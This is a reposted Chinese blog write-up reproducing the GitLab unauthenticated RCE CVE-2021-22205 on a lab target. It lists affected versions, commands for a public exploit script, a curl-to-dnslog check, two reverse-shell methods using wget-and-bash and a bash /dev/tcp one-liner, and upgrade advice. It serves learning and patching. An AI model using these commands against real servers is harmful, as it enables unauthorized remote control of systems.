标签:shell gitlab 22205 漏洞 2021 rce CVE
gitlab 未授权rce (CVE-2021-22205)
gitlab 未授权rce (CVE-2021-22205)
0x01 漏洞描述
2021年4⽉15⽇,GitLab官⽅发布安全补丁更新修复了GitLab命令执⾏漏洞(CVE-2021-22205)。由于GitLab中的ExifTool没有对传⼊的图像⽂件的扩展名进⾏正确处理,攻击者通过上传特制的恶意图⽚,可以在⽬标服务器上执⾏任意命令,且发现由于GitLab存在未授权的端点,导致该漏洞在⽆需进⾏身份验证的情况下即可进⾏利⽤,社区版(CE)和企业版(EE)皆受影响,CVSS评分为9.9。
0x02 影响范围
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
0x03 漏洞复现
(1)访问靶场
(2) 漏洞利用脚本
https://github.com/Al1ex/CVE-2021-22205
python3运行
查看帮助
python CVE-2021-22205.py -h
先用验证模式
检测漏洞是否存在
python CVE-2021-22205.py -v true -t http://vulfocus.fofa.so:37366/
执行命令
因为没有回显
可用dnslog或者 自己搭建服务器测试
python CVE-2021-22205.py -a true -t http://vulfocus.fofa.so:37366/ -c “curl dnslog地址”
命令执行成功
反弹shell
(1) 在vps上搭建 cmd.txt 内容为反弹shell的命令
先下载下 再执行
wget --output-document /tmp/rce vps/cmd.txt
bash /tmp/rce
反弹shell
成功
(2) 先将反弹shell的命令写⼊tmp⽬录下的1.sh⽂件
再执行改文件
文件名可以使 2.sh 也可以不加.sh
尝试过后 名字为2也可以弹回shell .sh不是必须的
echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/2.sh
bash /tmp/2.sh
反弹shell成功
第二种方法直接echo 更方便 不需要用python起 http服务
0x04 漏洞修复
官⽅升级
⽬前官⽅已发布新版本修复了该漏洞,请受影响的⽤户尽快升级⾄最新版本进⾏防护,官⽅下载链接:https://about.gitlab.com/update/
若相关⽤户暂时⽆法进⾏升级操作,可使⽤⽩名单限制对Web端⼝的访问。
标签:shell,gitlab,22205,漏洞,2021,rce,CVE 来源: https://blog.csdn.net/YouthBelief/article/details/121269497
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。